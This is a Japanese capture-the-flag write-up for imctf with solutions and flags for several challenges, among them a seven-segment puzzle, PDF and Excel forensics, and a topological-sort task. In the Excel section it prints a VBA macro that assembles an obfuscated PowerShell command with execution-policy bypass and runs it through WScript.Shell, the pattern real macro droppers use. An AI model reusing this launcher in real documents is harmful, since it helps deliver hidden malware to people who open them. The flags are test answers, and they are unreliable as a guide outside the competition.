TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(True, False, False, False, True, False, False, True, True, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, True, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(True, False, False, False, True, False, False, False, False, True, False, True, False, False, True, False, False)

for x in X:
  print(x)
$ python3 solve.py
                           -     -                                                                                                                                                         -                                   -
                    |     |     |                                   |     |                             |                                   |               |                   |         | |           |   |                   |
       - -   -     - -   - -   -           -                                         -     -     -     - -         -           -           - -   -           -     -           - -   -     -     -     - -   -     -     -       -
  |   | | | |       |     |     |   |/ \| |/          |/ \|   |     |     |         |     | |   | |     |     |   | |   | |   |/            |   | |         | |   |/            |   | |     |   |/      |   | |   |/    |       |
             -                   -         - -   - -                           - -   -     -                             -     - -   - -         -     - -   -     - -   - -         -     -     - -               - -         -

imctf{we_will_continue_to_be_together}

nin nin pdf🥷

ヒントに書かれているPDF Stream Dumperで。

imctf{ninpou_kakuremi_no_jyutu}

E・Mo・I・XL 😍

Excelマクロ。

ヒントに書かれているoletoolsで。

Sub GetPayload()
    Dim payload As String: payload = vbNullString
    Dim ws As Worksheet
    Set ws = ThisWorkbook.Worksheets(1)
    With ThisWorkbook
        With .BuiltinDocumentProperties
            payload = payload + .Item(ws.Cells(1048573, 16384).Value)
            payload = payload + .Item(ws.Cells(1048574, 16384).Value)
            payload = payload + .Item(ws.Cells(1048572, 16384).Value)
            payload = payload + .Item(ws.Cells(1048575, 16384).Value)
            payload = payload + .Item(ws.Cells(1048576, 16384).Value)
        End With
    End With
    payload = _
    "p" & "w" & "s" & "h" & " " & "-" & "n" & "o" & _
    "p" & " " & "-" & "e" & _
    "p" & " " & "B" & "y" & _
    "p" & "a" & "s" & "s" & " " & "-" & "e" & " " + _
    payload
    CreateObject("WScript.Shell").Run payload
End Sub

セルにはkeywordsとかtitleとか書かれているので、シートからタイトルとかを集める。

@@@@
       @
ystem.Text.Encoding]::Default.GetString(
    [System.Convert]::FromBase64String(
        (
            @("5a", "56", "39", "74", "62", "31", "39", "30", "61", "57", "39", "75", "58", "32", "4a", "35", "58", "32", "4e", "68", "63", "6d", "78", "35", "58", "33", "4a", "68", "5a", "56", "39", "71", "5a", "58", "42", "7a", "5a", "57", "34", "3d") |
            ForEach-Object { [char][byte]"0x$_" }
        ) -join ""
    )
)
$txt2 = [System.Text.Encoding]::Default.GetString(
    [System.Convert]::FromBase64String(
        (
            @("5a", "6d", "78", "68", "5a", "79", "41", "36", "49", "47", "6c", "74", "59", "33", "52", "6d", "65", "30", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "62", "47", "6c", "72", "5a", "56", "39", "35", "62", "33", "56", "39") |
            ForEach-Object { [char][byte]"0x$_" }
        ) -join ""
    )
)
$isPassed = ($password -eq $txt)
Write-Host ($isPassed ? "good you are passed" : "incorrect password") -ForegroundColor ($isPassed ? "Green" : "Red")
if ($isPassed) {
    Write-Host $txt2 -ForegroundColor Blue
}
$host.UI.RawUI.ReadKey() | Out-Null

なぜか先頭が化けたけど……支障は無い。

imctf{I_really_really_really_really_really_really_like_you}

become monkey🐒

Windows GUIアプリで色々と例外を起こすとパーツが集まるようだけれど……これも動かなかったので、静的解析。

imctf{K3nn3+h_Ha13_i5_a_5up3r_H3r0_G0ri11a_Man}

ppc

anagram🍀

アルファベット26文字の順列で、gkより前、peより前、…という条件を満たす辞書順最小のものを求める問題。

トポロジカルソート。とはいえ問題サイズが26なので、$O(n^2)$でも$O(n^3)$でも愚直に解けば良い。使える(自分より前に来るものが全て使われている)もので辞書順最小の文字を使うだけで良い。

solve.py
C = "abcdefghijklmnopqrstuvwxyz"
R = [
  ("g", "k"),
  ("p", "e"),
  ("s", "d"),
  ("d", "f"),
  ("u", "a"),
  ("n", "a"),
  ("u", "r"),
  ("z", "t"),
  ("g", "c"),
  ("b", "k"),
  ("i", "j"),
  ("y", "g"),
  ("r", "t"),
  ("c", "s"),
  ("e", "s"),
  ("g", "m"),
  ("e", "d"),
  ("x", "s"),
  ("t", "h"),
  ("k", "s"),
  ("m", "t"),
  ("u", "g"),
  ("n", "e"),
  ("z", "c"),
  ("y", "z"),
  ("y", "t"),
]

U = [False]*len(C)

flag = ""
while not all(U):
  for i in range(len(C)):
    if not U[i]:
      ok = True
      for j in range(len(R)):
        if R[j][1]==C[i] and not U[C.index(R[j][0])]:
          ok = False
      if ok:
        flag += C[i]
        U[i] = True
        break
print("imctf{"+flag+"}")

imctf{bijlnopequarvwxygkmzcsdfth}

welcome

welcome🐢

imctf{1mc7f h3 y0uk050 74n05h1nd3 1773n3 n4k4y0ku y4773n3}

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?